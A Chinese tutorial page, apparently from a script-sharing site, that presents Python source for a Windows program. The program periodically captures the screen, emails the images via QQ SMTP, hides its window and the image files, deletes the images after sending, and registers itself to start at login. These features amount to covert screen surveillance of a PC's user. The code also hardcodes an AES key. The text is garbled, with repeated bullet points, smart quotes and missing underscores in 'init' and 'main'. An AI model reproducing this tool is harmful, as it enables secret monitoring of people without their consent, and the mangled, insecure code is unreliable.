Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵箱
1.簡(jiǎn)介
代碼實(shí)現(xiàn)了一個(gè)屏幕截圖應(yīng)用程序,可以定時(shí)截取屏幕,并將截圖通過(guò)電子郵件發(fā)送給指定的收件人。以下是代碼的主要功能:
- 通過(guò)使用pyautogui庫(kù)來(lái)進(jìn)行屏幕截圖。
- 使用smtplib庫(kù)來(lái)發(fā)送電子郵件,以將截圖發(fā)送給收件人。
- 使用tkinter庫(kù)創(chuàng)建一個(gè)簡(jiǎn)單的圖形用戶界面(GUI),用于配置應(yīng)用程序的設(shè)置。
- 通過(guò)使用logging庫(kù)來(lái)記錄日志,將日志保存到文件中。
- 實(shí)現(xiàn)了開(kāi)機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開(kāi)機(jī)自動(dòng)啟動(dòng)。
- 實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
- 通過(guò)使用logging庫(kù)來(lái)記錄日志,將日志保存到文件中。
- 收件郵箱默認(rèn)等于發(fā)件郵箱
- 通過(guò)使用logging庫(kù)來(lái)記錄日志,將日志保存到文件中。
- 使用configparser庫(kù)來(lái)讀取和保存應(yīng)用程序的配置設(shè)置。
- 實(shí)現(xiàn)了開(kāi)機(jī)自動(dòng)啟動(dòng)功能,可以將應(yīng)用程序設(shè)置為開(kāi)機(jī)自動(dòng)啟動(dòng)。
- 實(shí)現(xiàn)了隱藏和顯示應(yīng)用程序窗口的功能。
- 收件郵箱默認(rèn)等于發(fā)件郵箱
此外,代碼還實(shí)現(xiàn)了一些其他功能,如數(shù)據(jù)加密和解密、刪除已發(fā)送的截圖文件等。
應(yīng)用程序在為用戶提供一個(gè)便捷的方式來(lái)定時(shí)截圖并將截圖發(fā)送給指定的收件人,適用于需要定期截圖的監(jiān)控、遠(yuǎn)程監(jiān)視等場(chǎng)景。用戶可以通過(guò)圖形界面設(shè)置截圖的間隔時(shí)間、截圖的次數(shù)、發(fā)件人和收件人的電子郵件地址等。
2.運(yùn)行效果
3.相關(guān)源碼
import smtplib import time import pyautogui from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.mime.text import MIMEText import logging import configparser import os import sys import ctypes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 import tkinter as tk from tkinter import ttk import datetime import threading import winreg import glob KEY = b'MySuperSecretKey' def encrypt_data(data): cipher = AES.new(KEY, AES.MODE_CBC) ct_bytes = cipher.encrypt(pad(data.encode(‘utf-8'), AES.block_size)) iv = base64.b64encode(cipher.iv).decode(‘utf-8') ct = base64.b64encode(ct_bytes).decode(‘utf-8') return iv + ct def decrypt_data(data): try: iv = base64.b64decode(data[:24]) ct = base64.b64decode(data[24:]) cipher = AES.new(KEY, AES.MODE_CBC, iv=iv) pt = unpad(cipher.decrypt(ct), AES.block_size) return pt.decode(‘utf-8') except: return “Decryption Error!” class ScreenshotApp: def init(self): self.root = tk.Tk() self.root.title(“Screen”) self.config = configparser.ConfigParser() self.config_file = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") if not os.path.exists(self.config_file): self.create_default_config() self.config.read(self.config_file) # 讀取配置文件 self.sender_email_label = ttk.Label(self.root, text="發(fā)件郵箱:") self.sender_email_label.grid(row=0, column=0, padx=5, pady=5) self.sender_email_entry = ttk.Entry(self.root) self.sender_email_entry.grid(row=0, column=1, padx=5, pady=5) self.sender_password_label = ttk.Label(self.root, text="發(fā)件郵箱密碼:") self.sender_password_label.grid(row=1, column=0, padx=5, pady=5) self.sender_password_entry = ttk.Entry(self.root, show="*") self.sender_password_entry.grid(row=1, column=1, padx=5, pady=5) self.interval_label = ttk.Label(self.root, text="截圖間隔時(shí)間:") self.interval_label.grid(row=2, column=0, padx=5, pady=5) self.interval_entry = ttk.Entry(self.root) self.interval_entry.grid(row=2, column=1, padx=5, pady=5) self.count_label = ttk.Label(self.root, text="發(fā)送截圖數(shù)量:") self.count_label.grid(row=3, column=0, padx=5, pady=5) self.count_entry = ttk.Entry(self.root) self.count_entry.grid(row=3, column=1, padx=5, pady=5) self.start_button = ttk.Button(self.root, text="開(kāi)始截圖", command=self.start_screenshot) self.start_button.grid(row=4, column=0, padx=5, pady=5) self.stop_button = ttk.Button(self.root, text="停止截圖", command=self.stop_screenshot) self.stop_button.grid(row=4, column=1, padx=5, pady=5) self.stop_button.configure(state="disabled") self.save_button = ttk.Button(self.root, text="save", command=self.save_settings) self.save_button.grid(row=5, column=0, padx=5, pady=5) self.autostart_var = tk.BooleanVar() self.autostart_checkbutton = ttk.Checkbutton(self.root, text="開(kāi)機(jī)自動(dòng)啟動(dòng)", variable=self.autostart_var, command=self.save_settings) self.autostart_checkbutton.grid(row=6, column=0, columnspan=2, padx=5, pady=5) self.toggle_visibility_button = ttk.Button(self.root, text="顯示/隱藏", command=self.toggle_visibility) self.toggle_visibility_button.grid(row=7, column=0, columnspan=2, padx=5, pady=5) # 創(chuàng)建日志記錄器 self.log_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "screenshot.log") self.logger = logging.getLogger("ScreenshotApp") self.logger.setLevel(logging.INFO) self.logger.addHandler(logging.FileHandler(self.log_file_path)) self.screenshot_running = False self.screenshot_thread = None self.stop_event = threading.Event() # 初始化輸入框的值 self.sender_email_entry.insert(0, self.config.get("Settings", "sender_email", fallback="")) self.sender_password_entry.insert(0, self.get_decrypted_password()) self.interval_entry.insert(0, self.config.get("Settings", "interval", fallback="")) self.count_entry.insert(0, self.config.get("Settings", "count", fallback="")) # 初始化開(kāi)機(jī)自動(dòng)啟動(dòng)選項(xiàng) self.autostart_var.set(self.is_autostart_enabled()) self.root.protocol("WM_DELETE_WINDOW", self.on_close) self.root.bind("<F12>", self.toggle_visibility) # 初始化窗口可見(jiàn)性 visibility = self.config.get("Settings", "visibility", fallback="visible") if visibility == "hidden": self.root.withdraw() if self.autostart_var.get(): self.start_screenshot() self.root.mainloop() def on_close(self): self.stop_screenshot() self.save_settings() self.delete_screenshots() self.root.quit() def create_default_config(self): if not os.path.exists(self.config_file): self.config["Settings"] = { "sender_email": "", "sender_password": "", "interval": "", "count": "", "autostart": "False", "visibility": "visible" } config_file_path = os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])), "config.ini") with open(config_file_path, "w") as configfile: self.config.write(configfile) def start_screenshot(self): interval_text = self.interval_entry.get() count_text = self.count_entry.get() if not interval_text or not count_text: self.logger.error("請(qǐng)?zhí)峁㏒creen間隔時(shí)間和Screen次數(shù)") return try: interval = int(interval_text) count = int(count_text) except ValueError: self.logger.error("Screen間隔時(shí)間和Screen次數(shù)必須是有效的整數(shù)") return if not self.screenshot_running: sender_email = self.sender_email_entry.get() sender_password = self.sender_password_entry.get() interval = int(self.interval_entry.get()) count = int(self.count_entry.get()) receiver_email = sender_email # 收件郵箱地址默認(rèn)等于發(fā)件郵箱地址 self.logger.info("開(kāi)始Screen") self.start_button.configure(state="disabled") self.stop_button.configure(state="normal") self.screenshot_running = True self.stop_event.clear() self.screenshot_thread = threading.Thread(target=self.screenshot_loop, args=(receiver_email, sender_email, sender_password, interval, count)) self.screenshot_thread.start() def stop_screenshot(self): if self.screenshot_running: self.screenshot_running = False self.stop_event.set() self.screenshot_thread.join() self.logger.info("停止Screen") self.start_button.configure(state="normal") self.stop_button.configure(state="disabled") def screenshot_loop(self, receiver_email, sender_email, sender_password, interval, count): screenshot_count = 0 screenshots = [] # 獲取用戶主目錄,并創(chuàng)建'Screenshots'文件夾 user_dir = os.path.expanduser('~') screenshot_dir = os.path.join(user_dir, 'Screenshots') os.makedirs(screenshot_dir, exist_ok=True) # 在開(kāi)始Screen前清空'Screenshots'文件夾 self.delete_screenshots() while screenshot_count < count and not self.stop_event.is_set(): try: # Screen screenshot = pyautogui.screenshot() # 生成文件名,格式為“Screen時(shí)間.png” current_time = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"Screen_{current_time}.png" # 保存Screen到'Screenshots'文件夾中 screenshot_path = os.path.join(screenshot_dir, filename) screenshot.save(screenshot_path) screenshots.append(screenshot_path) screenshot_count += 1 #設(shè)置文件為隱藏 FILE_ATTRIBUTE_HIDDEN = 0x02 ctypes.windll.kernel32.SetFileAttributesW(screenshot_path, FILE_ATTRIBUTE_HIDDEN) self.logger.info(f"Screen成功: {screenshot_path}") if screenshot_count == count: # 達(dá)到指定Screen次數(shù)后發(fā)送Screen screenshot_count = 0 self.send_email(receiver_email, sender_email, sender_password, screenshots) self.logger.info(f"Screen發(fā)送成功,共發(fā)送了 {len(screenshots)} 張Screen") self.delete_screenshots(screenshots) screenshots = [] # 清空已發(fā)送的Screen列表 except Exception as e: self.logger.error(f"Screen失敗: {str(e)}") time.sleep(interval) def send_email(self, receiver_email, sender_email, sender_password, filenames): msg = MIMEMultipart() msg["From"] = sender_email msg["To"] = receiver_email msg["Subject"] = "Screen" # 添加郵件正文 msg.attach(MIMEText("請(qǐng)查看附件中的Screen。", "plain")) # 添加Screen作為附件 for filename in filenames: with open(filename, "rb") as f: image = MIMEImage(f.read()) image.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename)) msg.attach(image) try: # 發(fā)送郵件 with smtplib.SMTP_SSL("smtp.qq.com", 465) as smtp: smtp.login(sender_email, sender_password) smtp.send_message(msg) self.logger.info(f"郵件發(fā)送成功,收件人: {receiver_email}") except Exception as e: self.logger.error(f"郵件發(fā)送失敗: {str(e)}") def save_settings(self): self.config.set("Settings", "sender_email", self.sender_email_entry.get()) self.config.set("Settings", "interval", self.interval_entry.get()) self.config.set("Settings", "count", self.count_entry.get()) self.config.set("Settings", "autostart", str(self.autostart_var.get())) visibility = "visible" if self.root.state() == "normal" else "hidden" self.config.set("Settings", "visibility", visibility) if self.sender_password_entry.get() != self.get_decrypted_password(): encrypted_password = encrypt_data(self.sender_password_entry.get()) self.config.set("Settings", "sender_password", encrypted_password) config_file_path = os.path.abspath(self.config_file) with open(config_file_path, "w") as configfile: self.config.write(configfile) self.logger.handlers.clear() self.logger.addHandler(logging.FileHandler(self.log_file_path)) self.set_autostart(self.autostart_var.get()) def delete_screenshots(self, filenames=None): # 獲取'Screenshots'文件夾路徑 user_dir = os.path.expanduser('~') screenshot_dir = os.path.join(user_dir, 'Screenshots') if filenames is None: filenames = glob.glob(os.path.join(screenshot_dir, "Screen*.png")) for filename in filenames: try: os.remove(filename) self.logger.info(f"刪除Screen: {filename}") except Exception as e: self.logger.error(f"刪除Screen失敗: {str(e)}") def get_decrypted_password(self): encrypted_password = self.config.get("Settings", "sender_password", fallback="") if encrypted_password: return decrypt_data(encrypted_password) else: return "" def toggle_visibility(self, event=None): if self.root.state() == "withdrawn": self.root.deiconify() else: self.root.withdraw() self.save_settings() def set_autostart(self, enabled): key = winreg.HKEY_CURRENT_USER run_key = r"Software\Microsoft\Windows\CurrentVersion\Run" app_name = "Screen" app_path = sys.executable # 獲取當(dāng)前腳本的絕對(duì)路徑 try: with winreg.OpenKey(key, run_key, 0, winreg.KEY_SET_VALUE) as reg_key: if enabled: winreg.SetValueEx(reg_key, app_name, 0, winreg.REG_SZ, app_path) self.logger.info("已設(shè)置開(kāi)機(jī)自動(dòng)啟動(dòng)") else: winreg.DeleteValue(reg_key, app_name) self.logger.info("已取消開(kāi)機(jī)自動(dòng)啟動(dòng)") except FileNotFoundError as e: self.logger.error(f"找不到注冊(cè)表路徑: {str(e)}") except PermissionError as e: self.logger.error(f"沒(méi)有足夠的權(quán)限訪問(wèn)注冊(cè)表: {str(e)}") except Exception as e: self.logger.error(f"設(shè)置開(kāi)機(jī)自動(dòng)啟動(dòng)失敗: {str(e)}") def is_autostart_enabled(self): key = winreg.HKEY_CURRENT_USER run_key = r"Software\Microsoft\Windows\CurrentVersion\Run" app_name = "Screen" app_path = sys.executable # 獲取當(dāng)前腳本的絕對(duì)路徑 try: with winreg.OpenKey(key, run_key, 0, winreg.KEY_READ) as reg_key: try: value, value_type = winreg.QueryValueEx(reg_key, app_name) return value == app_path except FileNotFoundError: return False except FileNotFoundError as e: self.logger.error(f"找不到注冊(cè)表路徑: {str(e)}") except PermissionError as e: self.logger.error(f"沒(méi)有足夠的權(quán)限訪問(wèn)注冊(cè)表: {str(e)}") except Exception as e: self.logger.error(f"讀取開(kāi)機(jī)自動(dòng)啟動(dòng)設(shè)置失敗: {str(e)}") return False if name == “main”: app = ScreenshotApp()
以上就是Python實(shí)現(xiàn)PC屏幕截圖并自動(dòng)發(fā)送郵箱的詳細(xì)內(nèi)容,更多關(guān)于Python屏幕截圖的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
Mac中升級(jí)Python2.7到Python3.5步驟詳解
本篇文章主要介紹了Mac中升級(jí)Python2.7到Python3.5步驟詳解,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。2017-04-04python讀取浮點(diǎn)數(shù)和讀取文本文件示例
這篇文章主要介紹了python讀取浮點(diǎn)數(shù)和讀取文本文件示例,需要的朋友可以參考下2014-05-05python實(shí)戰(zhàn)之德州撲克第二步-判斷牌型
這篇文章主要介紹了python實(shí)戰(zhàn)之德州撲克第二步-判斷牌型,文中有非常詳細(xì)的代碼示例,對(duì)正在學(xué)習(xí)python的小伙伴們有非常好的幫助,需要的朋友可以參考下2021-04-04python數(shù)據(jù)類(lèi)型判斷type與isinstance的區(qū)別實(shí)例解析
這篇文章主要介紹了python數(shù)據(jù)類(lèi)型判斷type與isinstance的區(qū)別實(shí)例解析,具有一定參考價(jià)值,需要的朋友可以了解下。2017-10-1060行Python PyGame代碼實(shí)現(xiàn)簡(jiǎn)單的迷宮游戲
這篇文章主要為大家詳細(xì)介紹如何通過(guò)了60行Python PyGame代碼實(shí)現(xiàn)一個(gè)簡(jiǎn)單的迷宮游戲,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以了解下2023-12-12在Pycharm的Project Files下建立多個(gè)項(xiàng)目的操作
這篇文章主要介紹了在Pycharm的Project Files下建立多個(gè)項(xiàng)目的操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-05-05在Python的Django框架中創(chuàng)建和使用模版
這篇文章主要介紹了在Python的Django框架中創(chuàng)建和使用模版的方法,包括使用manage.py shell來(lái)幫助設(shè)置模版的方法,需要的朋友可以參考下2015-07-07調(diào)試Python程序代碼的幾種方法總結(jié)
這篇文章主要介紹了調(diào)試Python程序代碼的幾種方法總結(jié),文中代碼基于Python2.x版本,需要的朋友可以參考下2015-04-04